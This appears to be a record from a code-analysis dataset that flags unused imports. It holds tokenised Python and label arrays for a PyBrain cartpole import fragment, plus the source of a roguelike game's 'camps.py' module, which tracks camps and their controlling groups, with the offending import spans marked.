[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "try", " ", "import", "ing", " ", "the", " ", "external", " ", "dependencies_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "matplotlib_", "._", "mlab_", "import_", "rk", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Import", "Error_", "(_", "'", "Thi", "s", " ", "environ", "ment", " ", "need", "s", " ", "the", " ", "mat", "plotlib", " ", "librar", "y", " ", "install", "ed", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "from_", "pyb", "rain_", "._", "rl_", "._", "environments_", "._", "cart", "pole", "_", "._", "cart", "pole", "_", "import_", "Cart", "Pole", "Environment_", ",_", "Cart", "Pole", "Lin", "Environment_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyb", "rain_", "._", "rl_", "._", "environments_", "._", "cart", "pole", "_", "._", "renderer_", "import_", "Cart", "Pole", "Renderer_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyb", "rain_", "._", "rl_", "._", "environments_", "._", "cart", "pole", "_", "._", "balance", "task_", "import_", "Balance", "Task_", ",_", "Eas", "y", "Balance", "Task_", ",_", "Discr", "ete", "Balance", "Task_", ",_", "Discr", "ete", "No", "Help", "Task_", ",_", "Ju", "st", "Balance", "Task_", ",_", "Linea", "rize", "d", "Balance", "Task_", ",_", "Discr", "ete", "POM", "DP", "Task_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyb", "rain_", "._", "rl_", "._", "environments_", "._", "cart", "pole", "_", "._", "double", "pole", "_", "import_", "Doub", "le", "Pole", "Environment_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyb", "rain_", "._", "rl_", "._", "environments_", "._", "cart", "pole", "_", "._", "non", "markov", "pole", "_", "import_", "Non", "Markov", "Pole", "Environment_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyb", "rain_", "._", "rl_", "._", "environments_", "._", "cart", "pole", "_", "._", "non", "markov", "double", "pole", "_", "import_", "Non", "Markov", "Doub", "le", "Pole", "Environment_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Unused import
flags/Reactor-3/alife/camps.py
[ { "content": "from globals import *\n\nimport life as lfe\n\nimport references\nimport judgement\nimport language\nimport survival\nimport movement\nimport numbers\nimport speech\nimport chunks\nimport groups\nimport brain\nimport stats\nimport jobs\n\nimport logging\nimport random\n\n\n\n\n\n\n#def find_nearest_unfounded_camp(life):\n#\t_founded_camps = [CAMPS[camp]['reference'] for camp in CAMPS]\n#\t_nearest_building = references.find_nearest_building(life, ignore_array=_founded_camps)\n#\t\n#\treturn _nearest_building['reference']\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n#def get_camp_jobs(camp_id):\n#\t_jobs = []\n#\tcamp = CAMPS[camp_id]\n#\t\n#\t_j = jobs.create_job(LIFE[camp['founder']], 'guard camp', description='Guard the camp.')\n#\tjobs.add_detail_to_job(_j, 'camp', camp_id)\n#\tjobs.add_detail_to_job(_j, 'pause', 90)\n#\tjobs.add_job_task(_j, 'guard', callback=guard_camp, required=True)\n#\t_jobs.append(_j)\n#\t\n#\t#_j = jobs.create_job(LIFE[camp['founder']], 'scout', description='Scout the area.')\n#\t#jobs.add_detail_to_job(_j, 'camp', camp_id)\n#\t#jobs.add_job_task(_j, 'explore', callback=survival._job_explore_unknown_chunks, required=True)\n#\t#_jobs.append(_j)\n#\t\n#\treturn _jobs\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def get_camp(camp_id):\n\tif not camp_id in WORLD_INFO['camps']:\n\t\traise Exception('Camp with ID \\'%s\\' does not exist.' % camp_id)\n\t\n\treturn WORLD_INFO['camps'][camp_id]", "metadata": "root.get_camp", "header": "['module', '___EOS___']", "index": 20 }, { "content": "def get_flag(life, camp_id, flag):\n\tif flag in life['known_camps'][camp_id]['flags']:\n\t\treturn life['known_camps'][camp_id]['flags'][flag]\n\t\n\treturn None", "metadata": "root.get_flag", "header": "['module', '___EOS___']", "index": 26 }, { "content": "def flag(life, camp_id, flag, value):\n\tif not camp_id in life['known_camps']:\n\t\traise Exception('%s does not know camp \\'%s\\'.' % (' '.join(life['name'])), value)\n\t\n\tlife['known_camps'][camp_id]['flags'][flag] = value\n\t\n\tlogging.debug('%s flagged camp \\'%s\\' with %s.' % (' '.join(life['name']), camp_id, flag))", "metadata": "root.flag", "header": "['module', '___EOS___']", "index": 32 }, { "content": "def create_all_camps():\n\tfor camp_key in WORLD_INFO['reference_map']['buildings']:\n\t\t_camp_id = str(WORLD_INFO['campid'])\n\t\t_camp_reference = WORLD_INFO['references'][camp_key]\n\t\t\n\t\tfor chunk_key in _camp_reference:\n\t\t\tchunks.flag_global(chunk_key, 'camp', _camp_id)\n\t\t\t\n\t\tWORLD_INFO['camps'][_camp_id] = {'id': _camp_id,\n\t\t 'reference': _camp_reference,\n\t\t 'groups': {}}\n\t\tWORLD_INFO['campid'] += 1", "metadata": "root.create_all_camps", "header": "['module', '___EOS___']", "index": 40 }, { "content": "def discover_camp(life, camp_id):\n\t_camp = {'id': camp_id,\n\t 'snapshot': {'time': -1, 'life': []}}\n\t\n\tlife['known_camps'][camp_id] = _camp", "metadata": "root.discover_camp", "header": "['module', '___EOS___']", "index": 53 }, { "content": "def _get_nearest_known_camp(life):\n\t_nearest_camp = {'camp': None, 'score': -1}\n\t\n\tfor camp in [life['known_camps'][i] for i in life['known_camps']]:\n\t\t_key = references.find_nearest_key_in_reference(life, get_camp(camp['id'])['reference'])\n\t\t_center = [int(val)+(WORLD_INFO['chunk_size']/2) for val in _key.split(',')]\n\t\t\n\t\t_distance = numbers.distance(life['pos'], _center)\n\t\t\n\t\tif not _nearest_camp['camp'] or _distance>_nearest_camp['score']:\n\t\t\t_nearest_camp['camp'] = camp\n\t\t\t_nearest_camp['score'] = _distance\n\t\n\treturn _nearest_camp", "metadata": "root._get_nearest_known_camp", "header": "['module', '___EOS___']", "index": 65 }, { "content": "def get_nearest_known_camp(life):\n\treturn _get_nearest_known_camp(life)['camp']", "metadata": "root.get_nearest_known_camp", "header": "['module', '___EOS___']", "index": 80 }, { "content": "def get_distance_to_nearest_known_camp(life):\n\treturn _get_nearest_known_camp(life)['score']", "metadata": "root.get_distance_to_nearest_known_camp", "header": "['module', '___EOS___']", "index": 83 }, { "content": "def get_camp_via_reference(reference):\n\tfor camp in CAMPS.values():\n\t\tif camp['reference'] == reference:\n\t\t\treturn camp['id']\n\t\n\treturn None", "metadata": "root.get_camp_via_reference", "header": "['module', '___EOS___']", "index": 86 }, { "content": "def get_controlling_groups(camp_id):\n\t_groups = {}\n\t\n\tfor life in [LIFE[l] for l in get_all_alife_in_camp(camp_id)]:\n\t\tif not life['group']:\n\t\t\tcontinue\n\t\t\n\t\tif life['group'] in _groups:\n\t\t\t_groups[life['group']]['score'] += 1\n\t\telse:\n\t\t\t_groups[life['group']] = {'score': 1, 'id': life['group']}\n\t\n\treturn _groups", "metadata": "root.get_controlling_groups", "header": "['module', '___EOS___']", "index": 93 }, { "content": "def get_controlling_group_global(camp_id):\n\t_groups = get_controlling_groups(camp_id)\n\t_groups_controlling = [_grp['id'] for _grp in _groups.values() if _grp['score'] == max([_grp['score'] for _grp in _groups.values()])]\n\tif _groups_controlling:\n\t\treturn _groups_controlling[0]\n\t\n\treturn None", "metadata": "root.get_controlling_group_global", "header": "['module', '___EOS___']", "index": 107 }, { "content": "def get_controlling_group_according_to(life, camp_id):\n\t_best_group = {'group': None, 'score': 0}\n\t_camp = life['known_camps'][camp_id]\n\t\n\tfor group in _camp['snapshot']['groups']:\n\t\tif not _best_group['group'] or _camp['snapshot']['groups'][group] > _best_group['score']:\n\t\t\t_best_group['group'] = group\n\t\t\t_best_group['score'] = _best_group['score']\n\t\n\treturn _best_group['group']\t\t", "metadata": "root.get_controlling_group_according_to", "header": "['module', '___EOS___']", "index": 115 }, { "content": "def get_all_alife_in_camp(camp_id):\n\treturn [life['id'] for life in LIFE.values() if is_in_camp(life, WORLD_INFO['camps'][camp_id])]", "metadata": "root.get_all_alife_in_camp", "header": "['module', '___EOS___']", "index": 126 }, { "content": "def is_in_camp(life, camp):\n\treturn references.life_is_in_reference(life, camp['reference'])", "metadata": "root.is_in_camp", "header": "['module', '___EOS___']", "index": 129 }, { "content": "def is_in_any_camp(position):\n\tfor camp in WORLD_INFO['camps'].values():\n\t\tif references.is_in_reference(position, camp['reference']):\n\t\t\treturn camp['id']\n\t\n\treturn False", "metadata": "root.is_in_any_camp", "header": "['module', '___EOS___']", "index": 132 }, { "content": "def position_is_in_camp(position, camp_id):\n\treturn references.is_in_reference(position, get_camp(camp_id)['reference'])", "metadata": "root.position_is_in_camp", "header": "['module', '___EOS___']", "index": 139 }, { "content": "def get_nearest_position_in_camp(life, camp):\n\t_camp = WORLD_INFO['camps'][camp]\n\t_key = references.find_nearest_key_in_reference_exact(life['pos'], _camp['reference'])\n\t\n\treturn chunks.get_nearest_position_in_chunk(life['pos'], _key)", "metadata": "root.get_nearest_position_in_camp", "header": "['module', '___EOS___']", "index": 142 }, { "content": "def guard_camp(life):\n\t_delay = random.randint(25, jobs.get_job_detail(life['job'], 'pause'))\n\t\n\tif not life['path'] and not lfe.find_action(life, matches=[{'action': 'move'}]):\n\t\t_chunk = WORLD_INFO['chunk_map'][references.find_least_populated_key_in_reference(life, CAMPS[life['camp']]['reference'])]\n\t\tlfe.add_action(life,{'action': 'move',\n\t\t\t'to': random.choice(_chunk['ground'])},\n\t\t\t200,\n\t\t\tdelay=_delay)\n\t\n\treturn False", "metadata": "root.guard_camp", "header": "['module', '___EOS___']", "index": 148 }, { "content": "def debug_camps():\n\tfor camp_id in WORLD_INFO['camps']:\n\t\t_group = get_controlling_group_global(camp_id)\n\t\tif not _group:\n\t\t\tcontinue\n\t\t\n\t\tprint camp_id, 'is controlled by', _group\n\t\t_actual_group = groups.get_group(life, _group)\n\t\tprint '\\t%s member(s)' % len(_actual_group['members'])", "metadata": "root.debug_camps", "header": "['module', '___EOS___']", "index": 160 } ]
[ { "span": "import judgement", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 16 }, { "span": "import language", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 15 }, { "span": "import survival", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 15 }, { "span": "import movement", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 15 }, { "span": "import speech", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 13 }, { "span": "import brain", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 12 }, { "span": "import stats", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 12 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "globals_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "life_", "as_", "lf", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "references_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "judge", "ment_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "language_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "surviv", "al_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "movement_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numbers_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "speech_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "chunks_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "groups_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "brain_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "stats_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "jobs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "random_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "def", " ", "find", "\\u", "near", "est", "\\u", "unfo", "unde", "d\\u", "camp", "(", "life", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "\\u", "found", "ed", "\\u", "camp", "s", " ", "=", " ", "[", "CAM", "PS", "[", "camp", "]['", "reference", "']", " ", "for", " ", "camp", " ", "in", " ", "CAM", "PS", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "\\u", "near", "est", "\\u", "buildi", "ng", " ", "=", " ", "reference", "s", ".", "find", "\\u", "near", "est", "\\u", "buildi", "ng", "(", "life", ",", " ", "ignore", "\\u", "array", "=", "\\u", "found", "ed", "\\u", "camp", "s", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "return", " ", "\\u", "near", "est", "\\u", "buildi", "ng", "['", "reference", "']", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "def", " ", "get", "\\u", "camp", "\\u", "jobs", "(", "camp", "\\u", "id", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "\\u", "jobs", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "camp", " ", "=", " ", "CAM", "PS", "[", "camp", "\\u", "id", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "\\u", "j", " ", "=", " ", "jobs", ".", "create", "\\u", "job", "(", "LIF", "E", "[", "camp", "['", "found", "er", "']]", ",", " ", "'", "guard", " ", "camp", "',", " ", "description", "='", "Guard", " ", "the", " ", "camp", ".'", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "jobs", ".", "add", "\\u", "deta", "il", "\\u", "to", "\\u", "job", "(\\u", "j", ",", " ", "'", "camp", "',", " ", "camp", "\\u", "id", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "jobs", ".", "add", "\\u", "deta", "il", "\\u", "to", "\\u", "job", "(\\u", "j", ",", " ", "'", "paus", "e", "',", " ", "90", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "jobs", ".", "add", "\\u", "job", "\\u", "task", "(\\u", "j", ",", " ", "'", "guard", "',", " ", "callback", "=", "guard", "\\u", "camp", ",", " ", "require", "d", "=", "Tru", "e", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "\\u", "jobs", ".", "append", "(\\u", "j", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "#\\u", "j", " ", "=", " ", "jobs", ".", "create", "\\u", "job", "(", "LIF", "E", "[", "camp", "['", "found", "er", "']]", ",", " ", "'", "scou", "t", "',", " ", "description", "='", "Sco", "ut", " ", "the", " ", "area", ".'", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "#", "jobs", ".", "add", "\\u", "deta", "il", "\\u", "to", "\\u", "job", "(\\u", "j", ",", " ", "'", "camp", "',", " ", "camp", "\\u", "id", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "#", "jobs", ".", "add", "\\u", "job", "\\u", "task", "(\\u", "j", ",", " ", "'", "explore", "',", " ", "callback", "=", "surviv", "al", ".\\u", "job", "\\u", "explore", "\\u", "unknown", "\\u", "chunks", ",", " ", "require", "d", "=", "Tru", "e", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "#\\u", "jobs", ".", "append", "(\\u", "j", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "return", " ", "\\u", "jobs_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "\\u", "camp", "_", "(_", "camp", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "if_", "not_", "camp", "\\u", "id_", "in_", "WORLD", "\\u", "INFO_", "[_", "'", "camp", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "raise_", "Exception_", "(_", "'", "Camp", " ", "with", " ", "ID", " ", "\\\\'", "%", "s", "\\\\'", " ", "doe", "s", " ", "not", " ", "exist", ".'_", "%_", "camp", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "WORLD", "\\u", "INFO_", "[_", "'", "camp", "s", "'_", "]_", "[_", "camp", "\\u", "id_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "flag_", "(_", "life_", ",_", "camp", "\\u", "id_", ",_", "flag_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "if_", "flag_", "in_", "life_", "[_", "'", "know", "n", "\\u", "camp", "s", "'_", "]_", "[_", "camp", "\\u", "id_", "]_", "[_", "'", "flags", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "return_", "life_", "[_", "'", "know", "n", "\\u", "camp", "s", "'_", "]_", "[_", "camp", "\\u", "id_", "]_", "[_", "'", "flags", "'_", "]_", "[_", "flag_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "flag_", "(_", "life_", ",_", "camp", "\\u", "id_", ",_", "flag_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "if_", "not_", "camp", "\\u", "id_", "in_", "life_", "[_", "'", "know", "n", "\\u", "camp", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "raise_", "Exception_", "(_", "'%", "s", " ", "doe", "s", " ", "not", " ", "know", " ", "camp", " ", "\\\\'", "%", "s", "\\\\'", ".'_", "%_", "(_", "'", " ", "'_", "._", "join_", "(_", "life_", "[_", "'", "name", "'_", "]_", ")_", ")_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "life_", "[_", "'", "know", "n", "\\u", "camp", "s", "'_", "]_", "[_", "camp", "\\u", "id_", "]_", "[_", "'", "flags", "'_", "]_", "[_", "flag_", "]_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logging_", "._", "debug_", "(_", "'%", "s", " ", "flagged", " ", "camp", " ", "\\\\'", "%", "s", "\\\\'", " ", "with", " ", "%", "s", ".'_", "%_", "(_", "'", " ", "'_", "._", "join_", "(_", "life_", "[_", "'", "name", "'_", "]_", ")_", ",_", "camp", "\\u", "id_", ",_", "flag_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create", "\\u", "all", "\\u", "camp", "s_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "for_", "camp", "\\u", "key_", "in_", "WORLD", "\\u", "INFO_", "[_", "'", "reference", "\\u", "map", "'_", "]_", "[_", "'", "buildings", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\\u", "camp", "\\u", "id_", "=_", "str_", "(_", "WORLD", "\\u", "INFO_", "[_", "'", "camp", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "camp", "\\u", "reference_", "=_", "WORLD", "\\u", "INFO_", "[_", "'", "reference", "s", "'_", "]_", "[_", "camp", "\\u", "key_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "chunk", "\\u", "key_", "in_", "\\u", "camp", "\\u", "reference_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "chunks_", "._", "flag", "\\u", "global_", "(_", "chunk", "\\u", "key_", ",_", "'", "camp", "'_", ",_", "\\u", "camp", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "WORLD", "\\u", "INFO_", "[_", "'", "camp", "s", "'_", "]_", "[_", "\\u", "camp", "\\u", "id_", "]_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "camp", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "reference", "'_", ":_", "\\u", "camp", "\\u", "reference_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "group", "s", "'_", ":_", "{_", "}_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "WORLD", "\\u", "INFO_", "[_", "'", "camp", "id", "'_", "]_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "discove", "r", "\\u", "camp", "_", "(_", "life_", ",_", "camp", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "\\u", "camp", "_", "=_", "{_", "'", "id", "'_", ":_", "camp", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "snapshot", "'_", ":_", "{_", "'", "time", "'_", ":_", "-_", "1_", ",_", "'", "life", "'_", ":_", "[_", "]_", "}_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "life_", "[_", "'", "know", "n", "\\u", "camp", "s", "'_", "]_", "[_", "camp", "\\u", "id_", "]_", "=_", "\\u", "camp", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "get", "\\u", "near", "est", "\\u", "know", "n", "\\u", "camp", "_", "(_", "life_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "\\u", "near", "est", "\\u", "camp", "_", "=_", "{_", "'", "camp", "'_", ":_", "None_", ",_", "'", "score", "'_", ":_", "-_", "1_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "camp", "_", "in_", "[_", "life_", "[_", "'", "know", "n", "\\u", "camp", "s", "'_", "]_", "[_", "i_", "]_", "for_", "i_", "in_", "life_", "[_", "'", "know", "n", "\\u", "camp", "s", "'_", "]_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\\u", "key_", "=_", "references_", "._", "find", "\\u", "near", "est", "\\u", "key", "\\u", "in", "\\u", "reference_", "(_", "life_", ",_", "get", "\\u", "camp", "_", "(_", "camp", "_", "[_", "'", "id", "'_", "]_", ")_", "[_", "'", "reference", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "center_", "=_", "[_", "int_", "(_", "val_", ")_", "+_", "(_", "WORLD", "\\u", "INFO_", "[_", "'", "chunk", "\\u", "size", "'_", "]_", "/_", "2_", ")_", "for_", "val_", "in_", "\\u", "key_", "._", "split_", "(_", "','_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "distance_", "=_", "numbers_", "._", "distance_", "(_", "life_", "[_", "'", "pos", "'_", "]_", ",_", "\\u", "center_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "\\u", "near", "est", "\\u", "camp", "_", "[_", "'", "camp", "'_", "]_", "or_", "\\u", "distance_", ">_", "\\u", "near", "est", "\\u", "camp", "_", "[_", "'", "score", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "\\u", "near", "est", "\\u", "camp", "_", "[_", "'", "camp", "'_", "]_", "=_", "camp", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "near", "est", "\\u", "camp", "_", "[_", "'", "score", "'_", "]_", "=_", "\\u", "distance_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 